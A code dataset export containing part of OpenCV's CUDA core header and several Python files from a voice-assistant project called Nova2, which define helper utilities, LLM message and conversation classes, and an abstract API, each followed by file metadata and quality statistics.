/** @brief Makes a compute stream wait on an event.
*/
CV_WRAP void waitEvent(const Event& event);
/** @brief Adds a callback to be called on the host after all currently enqueued items in the stream have
completed.
@note Callbacks must not make any CUDA API calls. Callbacks must not perform any synchronization
that may depend on outstanding device work or other callbacks that are not mandated to run earlier.
Callbacks without a mandated order (in independent streams) execute in undefined order and may be
serialized.
*/
void enqueueHostCallback(StreamCallback callback, void* userData);
//! return Stream object for default CUDA stream
CV_WRAP static Stream& Null();
//! returns true if stream object is not default (!= 0)
operator bool_type() const;
class Impl;
private:
Ptr<Impl> impl_;
Stream(const Ptr<Impl>& impl);
friend struct StreamAccessor;
friend class BufferPool;
friend class DefaultDeviceInitializer;
};
class CV_EXPORTS_W Event
{
public:
enum CreateFlags
{
DEFAULT = 0x00, /**< Default event flag */
BLOCKING_SYNC = 0x01, /**< Event uses blocking synchronization */
DISABLE_TIMING = 0x02, /**< Event will not record timing data */
INTERPROCESS = 0x04 /**< Event is suitable for interprocess use. DisableTiming must be set */
};
CV_WRAP explicit Event(Event::CreateFlags flags = Event::CreateFlags::DEFAULT);
//! records an event
CV_WRAP void record(Stream& stream = Stream::Null());
//! queries an event's status
CV_WRAP bool queryIfComplete() const;
//! waits for an event to complete
CV_WRAP void waitForCompletion();
//! computes the elapsed time between events
CV_WRAP static float elapsedTime(const Event& start, const Event& end);
class Impl;
private:
Ptr<Impl> impl_;
Event(const Ptr<Impl>& impl);
friend struct EventAccessor;
};
//! @} cudacore_struct
//===================================================================================
// Initialization & Info
//===================================================================================
//! @addtogroup cudacore_init
//! @{
/** @brief Returns the number of installed CUDA-enabled devices.
Use this function before any other CUDA functions calls. If OpenCV is compiled without CUDA support,
this function returns 0. If the CUDA driver is not installed, or is incompatible, this function
returns -1.
*/
CV_EXPORTS_W int getCudaEnabledDeviceCount();
/** @brief Sets a device and initializes it for the current thread.
@param device System index of a CUDA device starting with 0.
If the call of this function is omitted, a default device is initialized at the fist CUDA usage.
*/
CV_EXPORTS_W void setDevice(int device);
/** @brief Returns the current device index set by cuda::setDevice or initialized by default.
*/
CV_EXPORTS_W int getDevice();
/** @brief Explicitly destroys and cleans up all resources associated with the current device in the current
process.
Any subsequent API call to this device will reinitialize the device.
*/
CV_EXPORTS_W void resetDevice();
/** @brief Enumeration providing CUDA computing features.
*/
enum FeatureSet
{
FEATURE_SET_COMPUTE_10 = 10,
FEATURE_SET_COMPUTE_11 = 11,
FEATURE_SET_COMPUTE_12 = 12,
FEATURE_SET_COMPUTE_13 = 13,
FEATURE_SET_COMPUTE_20 = 20,
FEATURE_SET_COMPUTE_21 = 21,
FEATURE_SET_COMPUTE_30 = 30,
FEATURE_SET_COMPUTE_32 = 32,
FEATURE_SET_COMPUTE_35 = 35,
FEATURE_SET_COMPUTE_50 = 50,
GLOBAL_ATOMICS = FEATURE_SET_COMPUTE_11,
SHARED_ATOMICS = FEATURE_SET_COMPUTE_12,
NATIVE_DOUBLE = FEATURE_SET_COMPUTE_13,
WARP_SHUFFLE_FUNCTIONS = FEATURE_SET_COMPUTE_30,
DYNAMIC_PARALLELISM = FEATURE_SET_COMPUTE_35
};
//! checks whether current device supports the given feature
CV_EXPORTS bool deviceSupports(FeatureSet feature_set);
/** @brief Class providing a set of static methods to check what NVIDIA\* card architecture the CUDA module was
built for.
According to the CUDA C Programming Guide Version 3.2: "PTX code produced for some specific compute
capability can always be compiled to binary code of greater or equal compute capability".
*/
class CV_EXPORTS_W TargetArchs
{
public:
/** @brief The following method checks whether the module was built with the support of the given feature:
@param feature_set Features to be checked. See :ocvcuda::FeatureSet.
*/
static bool builtWith(FeatureSet feature_set);
/** @brief There is a set of methods to check whether the module contains intermediate (PTX) or binary CUDA
code for the given architecture(s):
@param major Major compute capability version.
@param minor Minor compute capability version.
*/
CV_WRAP static bool has(int major, int minor);
CV_WRAP static bool hasPtx(int major, int minor);
CV_WRAP static bool hasBin(int major, int minor);
CV_WRAP static bool hasEqualOrLessPtx(int major, int minor);
CV_WRAP static bool hasEqualOrGreater(int major, int minor);
CV_WRAP static bool hasEqualOrGreaterPtx(int major, int minor);
CV_WRAP static bool hasEqualOrGreaterBin(int major, int minor);
};
/** @brief Class providing functionality for querying the specified GPU properties.
*/
class CV_EXPORTS_W DeviceInfo
{
public:
//! creates DeviceInfo object for the current GPU
CV_WRAP DeviceInfo();
/** @brief The constructors.
@param device_id System index of the CUDA device starting with 0.
Constructs the DeviceInfo object for the specified device. If device_id parameter is missed, it
constructs an object for the current device.
*/
CV_WRAP DeviceInfo(int device_id);
/** @brief Returns system index of the CUDA device starting with 0.
*/
CV_WRAP int deviceID() const;
//! ASCII string identifying device
const char* name() const;
//! global memory available on device in bytes
CV_WRAP size_t totalGlobalMem() const;
//! shared memory available per block in bytes
CV_WRAP size_t sharedMemPerBlock() const;
//! 32-bit registers available per block
CV_WRAP int regsPerBlock() const;
//! warp size in threads
CV_WRAP int warpSize() const;
//! maximum pitch in bytes allowed by memory copies
CV_WRAP size_t memPitch() const;
//! maximum number of threads per block
CV_WRAP int maxThreadsPerBlock() const;
//! maximum size of each dimension of a block
CV_WRAP Vec3i maxThreadsDim() const;
//! maximum size of each dimension of a grid
CV_WRAP Vec3i maxGridSize() const;
//! clock frequency in kilohertz
CV_WRAP int clockRate() const;
//! constant memory available on device in bytes
CV_WRAP size_t totalConstMem() const;
//! major compute capability
CV_WRAP int majorVersion() const;
//! minor compute capability
CV_WRAP int minorVersion() const;
//! alignment requirement for textures
CV_WRAP size_t textureAlignment() const;
//! pitch alignment requirement for texture references bound to pitched memory
CV_WRAP size_t texturePitchAlignment() const;
//! number of multiprocessors on device
CV_WRAP int multiProcessorCount() const;
//! specified whether there is a run time limit on kernels
CV_WRAP bool kernelExecTimeoutEnabled() const;
//! device is integrated as opposed to discrete
CV_WRAP bool integrated() const;
//! device can map host memory with cudaHostAlloc/cudaHostGetDevicePointer
CV_WRAP bool canMapHostMemory() const;
enum ComputeMode
{
ComputeModeDefault, /**< default compute mode (Multiple threads can use cudaSetDevice with this device) */
ComputeModeExclusive, /**< compute-exclusive-thread mode (Only one thread in one process will be able to use cudaSetDevice with this device) */
ComputeModeProhibited, /**< compute-prohibited mode (No threads can use cudaSetDevice with this device) */
ComputeModeExclusiveProcess /**< compute-exclusive-process mode (Many threads in one process will be able to use cudaSetDevice with this device) */
};
//! compute mode
CV_WRAP DeviceInfo::ComputeMode computeMode() const;
//! maximum 1D texture size
CV_WRAP int maxTexture1D() const;
//! maximum 1D mipmapped texture size
CV_WRAP int maxTexture1DMipmap() const;
//! maximum size for 1D textures bound to linear memory
CV_WRAP int maxTexture1DLinear() const;
//! maximum 2D texture dimensions
CV_WRAP Vec2i maxTexture2D() const;
//! maximum 2D mipmapped texture dimensions
CV_WRAP Vec2i maxTexture2DMipmap() const;
//! maximum dimensions (width, height, pitch) for 2D textures bound to pitched memory
CV_WRAP Vec3i maxTexture2DLinear() const;
//! maximum 2D texture dimensions if texture gather operations have to be performed
CV_WRAP Vec2i maxTexture2DGather() const;
//! maximum 3D texture dimensions
CV_WRAP Vec3i maxTexture3D() const;
//! maximum Cubemap texture dimensions
CV_WRAP int maxTextureCubemap() const;
//! maximum 1D layered texture dimensions
CV_WRAP Vec2i maxTexture1DLayered() const;
//! maximum 2D layered texture dimensions
CV_WRAP Vec3i maxTexture2DLayered() const;
//! maximum Cubemap layered texture dimensions
CV_WRAP Vec2i maxTextureCubemapLayered() const;
//! maximum 1D surface size
CV_WRAP int maxSurface1D() const;
//! maximum 2D surface dimensions
CV_WRAP Vec2i maxSurface2D() const;
//! maximum 3D surface dimensions
CV_WRAP Vec3i maxSurface3D() const;
//! maximum 1D layered surface dimensions
CV_WRAP Vec2i maxSurface1DLayered() const;
//! maximum 2D layered surface dimensions
CV_WRAP Vec3i maxSurface2DLayered() const;
//! maximum Cubemap surface dimensions
CV_WRAP int maxSurfaceCubemap() const;
//! maximum Cubemap layered surface dimensions
CV_WRAP Vec2i maxSurfaceCubemapLayered() const;
//! alignment requirements for surfaces
CV_WRAP size_t surfaceAlignment() const;
//! device can possibly execute multiple kernels concurrently
CV_WRAP bool concurrentKernels() const;
//! device has ECC support enabled
CV_WRAP bool ECCEnabled() const;
//! PCI bus ID of the device
CV_WRAP int pciBusID() const;
//! PCI device ID of the device
CV_WRAP int pciDeviceID() const;
//! PCI domain ID of the device
CV_WRAP int pciDomainID() const;
//! true if device is a Tesla device using TCC driver, false otherwise
CV_WRAP bool tccDriver() const;
//! number of asynchronous engines
CV_WRAP int asyncEngineCount() const;
//! device shares a unified address space with the host
CV_WRAP bool unifiedAddressing() const;
//! peak memory clock frequency in kilohertz
CV_WRAP int memoryClockRate() const;
//! global memory bus width in bits
CV_WRAP int memoryBusWidth() const;
//! size of L2 cache in bytes
CV_WRAP int l2CacheSize() const;
//! maximum resident threads per multiprocessor
CV_WRAP int maxThreadsPerMultiProcessor() const;
//! gets free and total device memory
CV_WRAP void queryMemory(size_t& totalMemory, size_t& freeMemory) const;
CV_WRAP size_t freeMemory() const;
CV_WRAP size_t totalMemory() const;
/** @brief Provides information on CUDA feature support.
@param feature_set Features to be checked. See cuda::FeatureSet.
This function returns true if the device has the specified CUDA feature. Otherwise, it returns false
*/
bool supports(FeatureSet feature_set) const;
/** @brief Checks the CUDA module and device compatibility.
This function returns true if the CUDA module can be run on the specified device. Otherwise, it
returns false .
*/
CV_WRAP bool isCompatible() const;
private:
int device_id_;
};
CV_EXPORTS_W void printCudaDeviceInfo(int device);
CV_EXPORTS_W void printShortCudaDeviceInfo(int device);
/** @brief Converts an array to half precision floating number.
@param _src input array.
@param _dst output array.
@param stream Stream for the asynchronous version.
@sa convertFp16
*/
CV_EXPORTS void convertFp16(InputArray _src, OutputArray _dst, Stream& stream = Stream::Null());
//! @} cudacore_init
}} // namespace cv { namespace cuda {
#include "opencv2/core/cuda.inl.hpp"
#endif /* OPENCV_CORE_CUDA_HPP */
| 38,437 | cuda | hpp | en | cpp | code | {"qsc_code_num_words": 5130, "qsc_code_num_chars": 38437.0, "qsc_code_mean_word_length": 5.15633528, "qsc_code_frac_words_unique": 0.191423, "qsc_code_frac_chars_top_2grams": 0.03379707, "qsc_code_frac_chars_top_3grams": 0.00952669, "qsc_code_frac_chars_top_4grams": 0.00623771, "qsc_code_frac_chars_dupe_5grams": 0.33687434, "qsc_code_frac_chars_dupe_6grams": 0.27585816, "qsc_code_frac_chars_dupe_7grams": 0.23128686, "qsc_code_frac_chars_dupe_8grams": 0.20557992, "qsc_code_frac_chars_dupe_9grams": 0.17794496, "qsc_code_frac_chars_dupe_10grams": 0.15246484, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01400376, "qsc_code_frac_chars_whitespace": 0.21042225, "qsc_code_size_file_byte": 38437.0, "qsc_code_num_lines": 1049.0, "qsc_code_num_chars_line_max": 158.0, "qsc_code_num_chars_line_mean": 36.64156339, "qsc_code_frac_chars_alphabet": 0.85759004, "qsc_code_frac_chars_comments": 0.65543617, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22772277, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0051344, "qsc_code_frac_chars_long_word_length": 0.00392631, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00120809, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.57755776, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.59735974, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 1, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/helpers.py | """
Description: A script that holds various helper code.
"""
import sys
import os
from contextlib import contextmanager
import warnings
from functools import wraps
registry = {}
@contextmanager
def suppress_output():
old_stdout = sys.stdout
old_stderr = sys.stderr
with open(os.devnull, 'w') as devnull:
sys.stdout = devnull
sys.stderr = devnull
try:
yield
finally:
sys.stdout = old_stdout
sys.stderr = old_stderr
class Singleton:
"""
A class that inherits from this class will automatically be a singleton.
"""
_instances = {}
def __new__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__new__(cls)
return cls._instances[cls]
def deprecated(func=None, *, warning=""):
"""
Marks a function as deprecated.
Can be used as @deprecated or @deprecated(warning="custom message")
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
# Use standard warning message if none is provided
warning_msg = f"Function {func.__name__} is deprecated and will be removed in a future update."
if warning != "":
warning_msg = warning
warnings.warn(
warning_msg,
category=DeprecationWarning,
stacklevel=2
)
return func(*args, **kwargs)
return wrapper
# Handle being called as @deprecated or @deprecated(warning="...")
if func is None:
# Called with parameters: @deprecated(warning="...")
return decorator
# Called without parameters: @deprecated
return decorator(func)
def is_configured(func):
"""
Ensures that the system has been configured before running the function.
"""
@wraps(func)
def wrapper(self, *args, **kwargs):
if not self._conditioning:
raise Exception("System not configured. Parse a configuration object and apply the configuration first.")
return func(self, *args, **kwargs)
return wrapper | 2,166 | helpers | py | en | python | code | {"qsc_code_num_words": 242, "qsc_code_num_chars": 2166.0, "qsc_code_mean_word_length": 5.38842975, "qsc_code_frac_words_unique": 0.41322314, "qsc_code_frac_chars_top_2grams": 0.03834356, "qsc_code_frac_chars_top_3grams": 0.0345092, "qsc_code_frac_chars_top_4grams": 0.03680982, "qsc_code_frac_chars_dupe_5grams": 0.04754601, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00065445, "qsc_code_frac_chars_whitespace": 0.29455217, "qsc_code_size_file_byte": 2166.0, "qsc_code_num_lines": 73.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 29.67123288, "qsc_code_frac_chars_alphabet": 0.85274869, "qsc_code_frac_chars_comments": 0.23268698, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08333333, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.102932, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.14583333, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.10416667, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.4375, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/llm_data.py | """
Description: Holds all data required to run inference on LLMs.
"""
from typing import Literal
import json
from dataclasses import dataclass, field
from Nova2.app.tool_data import LLMToolCall, LLMToolCallParameter
from Nova2.app.interfaces import (
LLMConditioningBase,
MemoryConfigBase,
MessageBase,
LLMResponseBase,
ConversationBase
)
class LLMConditioning(LLMConditioningBase):
def __init__(
self,
model: str,
inference_engine: str,
filter_thinking_process: bool = True,
temperature: float = 1.0,
max_completion_tokens: int = 1024,
add_default_sys_prompt: bool = True,
**kwargs
) -> None:
self.model = model
self.inference_engine = inference_engine
self.filter_thinking_process = filter_thinking_process
self.temperature = temperature
self.max_completion_tokens = max_completion_tokens
self.add_default_sys_prompt = add_default_sys_prompt
self.kwargs = kwargs
@dataclass
class MemoryConfig(MemoryConfigBase):
retrieve_memories: bool = True
num_results: int = 2
search_area: int = 2
cosine_threshold: float = 0.6
class Message(MessageBase):
def __init__(
self,
author: Literal["user", "assistant", "system", "tool"],
content: str,
**kwargs
) -> None:
"""
Holds a single message in the conversation.
Arguments:
author (Literal["user", "assistant", "system", "tool"]): The author of the message.
content (str | Path): The content of the message.
"""
self._allowed_roles = ["user", "assistant", "system", "tool"]
if (author not in self._allowed_roles):
raise TypeError(f"Author must one of {self._allowed_roles}.")
self.author = author
self.content = content
if author == "tool" :
if "name" not in kwargs.keys():
raise Exception("Keyword 'name' required for author 'tool'.")
if "tool_call_id" not in kwargs.keys():
raise Exception("Keyword 'tool_call_id' required for author 'tool'.")
self.name = kwargs["name"]
self.tool_call_id = kwargs["tool_call_id"]
@dataclass
class LLMResponse(LLMResponseBase):
message: str = ""
tool_calls: list[LLMToolCall] = field(default_factory=list)
used_tokens: int = 0
def from_dict(self, llm_response: dict) -> None:
"""
Constructs the LLMResponse object including tool calls from the LLM response.
Arguments:
llm_response (dict): The response from the LLM that will be converted.
"""
if "error" in llm_response:
raise RuntimeError(llm_response["error"]["message"])
if llm_response.choices[0].message.content: # type: ignore
self.message = llm_response.choices[0].message.content # type: ignore
if llm_response.choices[0].message.tool_calls: # type: ignore
for tool_call in llm_response.choices[0].message.tool_calls: # type: ignore
params = []
args = json.loads(tool_call.function.arguments)
keys = list(args.keys())
values = list(args.values())
for i, _ in enumerate(keys):
params.append(
LLMToolCallParameter(
name=keys[i],
value=values[i]
)
)
self.tool_calls.append(
LLMToolCall(
name=tool_call.function.name,
parameters=params,
id=tool_call.id
)
)
self.used_tokens = llm_response.usage.total_tokens # type: ignore
def to_message(self) -> Message:
return Message(author="assistant", content=self.message)
class Conversation(ConversationBase):
def __init__(
self,
conversation: list[Message] = []
) -> None:
self._conversation = conversation
self._allowed_roles = ["user", "assistant", "system"]
def add_message(self, message: MessageBase) -> None:
self._conversation.append(message) # type: ignore
def add_messages(self, messages: list[MessageBase]) -> None:
self._conversation += messages
def delete_newest(self, author: Literal["user", "assistant", "system", None] = None) -> None:
if author == None:
del self._conversation[-1]
else:
#Iterate through the list from the back and find the first one with a matching author
for i, message in enumerate(reversed(self._conversation)):
if message.author == author: # type: ignore
del self._conversation[i]
break
def delete_all_from(self, author: Literal["user", "assistant", "system"]) -> None:
for i, message in enumerate(reversed(self._conversation)):
if message.author == author: # type: ignore
del self._conversation[i]
def get_newest(self, author: Literal["user", "assistant", "system", None] = None) -> Message | None:
"""
Get the newest message. If an author is parsed, the newest message of that author will be returned.
Arguments:
author (Literal["user", "assistant", "system", None]): An optional parameter. The author whose newest message will be returned.
Returns:
Message | None: The newest message (from the author). None if there are no messages in the conversation or no messages from the specified author.
"""
if len(self._conversation) == 0:
return None
if not author:
msg = self._conversation[-1]
return self._conversation[-1] # type: ignore
for i, message in enumerate(reversed(self._conversation)):
if message.author == author: # type: ignore
return message # type: ignore
def to_list(self) -> list[dict]:
conversation = []
for message in self._conversation:
if message.author == "tool": # type: ignore
conversation.append({"role": "tool", "name": message.name, "content": message.content, "tool_call_id": message.tool_call_id}) # type: ignore
else:
conversation.append({"role": message.author, "content": message.content}) # type: ignore
return conversation
def from_list(self,
conversation: list[dict]
) -> None:
self._conversation = []
for message in conversation:
self._conversation.append(Message(author=message["role"], content=message["content"]))
| 6,934 | llm_data | py | en | python | code | {"qsc_code_num_words": 734, "qsc_code_num_chars": 6934.0, "qsc_code_mean_word_length": 5.41416894, "qsc_code_frac_words_unique": 0.22207084, "qsc_code_frac_chars_top_2grams": 0.06844489, "qsc_code_frac_chars_top_3grams": 0.03824862, "qsc_code_frac_chars_top_4grams": 0.03925516, "qsc_code_frac_chars_dupe_5grams": 0.22496225, "qsc_code_frac_chars_dupe_6grams": 0.21716155, "qsc_code_frac_chars_dupe_7grams": 0.16582788, "qsc_code_frac_chars_dupe_8grams": 0.13764469, "qsc_code_frac_chars_dupe_9grams": 0.11600403, "qsc_code_frac_chars_dupe_10grams": 0.06819326, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00441455, "qsc_code_frac_chars_whitespace": 0.3139602, "qsc_code_size_file_byte": 6934.0, "qsc_code_num_lines": 192.0, "qsc_code_num_chars_line_max": 158.0, "qsc_code_num_chars_line_mean": 36.11458333, "qsc_code_frac_chars_alphabet": 0.83098592, "qsc_code_frac_chars_comments": 0.15806172, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18045113, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06590308, "qsc_code_frac_chars_long_word_length": 0.00387665, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.09022556, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.03759398, "qsc_codepython_frac_lines_simplefunc": 0.007518796992481203, "qsc_codepython_score_lines_no_logic": 0.2556391, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/api_base.py | """
Description: Abstract definition of the tool API. Used for DI.
"""
from pathlib import Path
from abc import ABC, abstractmethod
from typing import List
from Nova2.app.interfaces import (
STTConditioningBase,
LLMConditioningBase,
TTSConditioningBase,
LLMToolBase,
LLMResponseBase,
ContextBase,
ContextDatapointBase,
ConversationBase,
MemoryConfigBase,
AudioDataBase,
ContextGeneratorBase,
)
class APIAbstract(ABC):
@abstractmethod
def configure_stt(self, conditioning: STTConditioningBase) -> None:
"""
Configure the Speech-to-Text system.
"""
raise NotImplementedError
@abstractmethod
def configure_llm(self,conditioning: LLMConditioningBase) -> None:
"""
Configure the LLM system.
"""
raise NotImplementedError
@abstractmethod
def configure_tts(self, conditioning: TTSConditioningBase) -> None:
"""
Configure the Text-to-Speech system.
"""
raise NotImplementedError
@abstractmethod
def configure_stt_and_apply(self, conditioning: STTConditioningBase) -> None:
"""
Configure the Speech-to-Text system and apply the configuration.
"""
raise NotImplementedError
@abstractmethod
def configure_llm_and_apply(self, conditioning: LLMConditioningBase) -> None:
"""
Configure the LLM system and apply the configuration.
"""
raise NotImplementedError
@abstractmethod
def configure_tts_and_apply(self, conditioning: TTSConditioningBase) -> None:
"""
Configure the Text-to-Speech system and apply the configuration.
"""
raise NotImplementedError
@abstractmethod
def apply_config_all(self) -> None:
"""
Updates the configuration of the transcriptor, LLM and TTS systems. Also loads the chosen models into memory.
"""
raise NotImplementedError
@abstractmethod
def apply_config_llm(self) -> None:
"""
Updates the configuration of the LLM system. Also loads the chosen models into memory.
"""
raise NotImplementedError
@abstractmethod
def apply_config_tts(self) -> None:
"""
Updates the configuration of the TTS system. Also loads the chosen models into memory.
"""
raise NotImplementedError
@abstractmethod
def apply_config_stt(self) -> None:
"""
Updates the configuration of the Speech-to-Text system. Also loads the chosen models into memory.
"""
raise NotImplementedError
@abstractmethod
def run_llm(self, conversation: ConversationBase, memory_config: MemoryConfigBase = None, tools: List[LLMToolBase] = None, instruction: str = "") -> LLMResponseBase: # type: ignore
"""
Run inference on the LLM.
Arguments:
conversation (Conversation): A conversation to use. Can be retrieved from context.
memory_config (MemoryConfig): How should memories be retrieved? If none is provided, no memories will be retrieved.
tools (list[LLMTool]): A list of tools the LLM can access.
instruction (str): An additional instruction to give to the LLM.
Returns:
LLMResponse: A response object containing all relevant information about what the LLM has responded.
"""
raise NotImplementedError
@abstractmethod
def run_tts(self, text: str) -> AudioDataBase:
"""
Run inference on the TTS.
Arguments:
text (str): The text that should be turned into speech.
Returns:
AudioData: The resulting audio data that can be played by the audio player.
"""
raise NotImplementedError
@abstractmethod
def start_stt(self) -> ContextGeneratorBase:
"""
Start the Speech-to-Text system. The system will start to listen to the microphone audio.
Returns:
ContextGenerator: An object yielding context data from the Speech-to-Text system.
"""
raise NotImplementedError
@abstractmethod
def bind_context_source(self, source: ContextGeneratorBase) -> None:
"""
Bind a context source. The data of a context source will only be recorded after being bound.
"""
raise NotImplementedError
@abstractmethod
def get_context(self) -> ContextBase:
"""
Get the current context.
"""
raise NotImplementedError
@abstractmethod
def set_context(self, context: ContextBase) -> None:
"""
Overwrites the stored context data.
"""
raise NotImplementedError
@abstractmethod
def set_ctx_limit(self, ctx_limit: int) -> None:
"""
Limit how many datapoints will be stored in context. This does not include memory.
Setting it to 0 will impose no limit, but the context will surpass the LLM's context window at some point.
Limit is 25 by default.
"""
raise NotImplementedError
@abstractmethod
def add_to_context(self, name: str, content: str, id: str) -> None:
"""
Add a response from a tool to the context.
Arguments:
name (str): The name of the tool. Should match the name given in metadata.json.
content (str): The message that should be added to the context.
id (str): The unique identifier for the specific tool call that generated this context.
"""
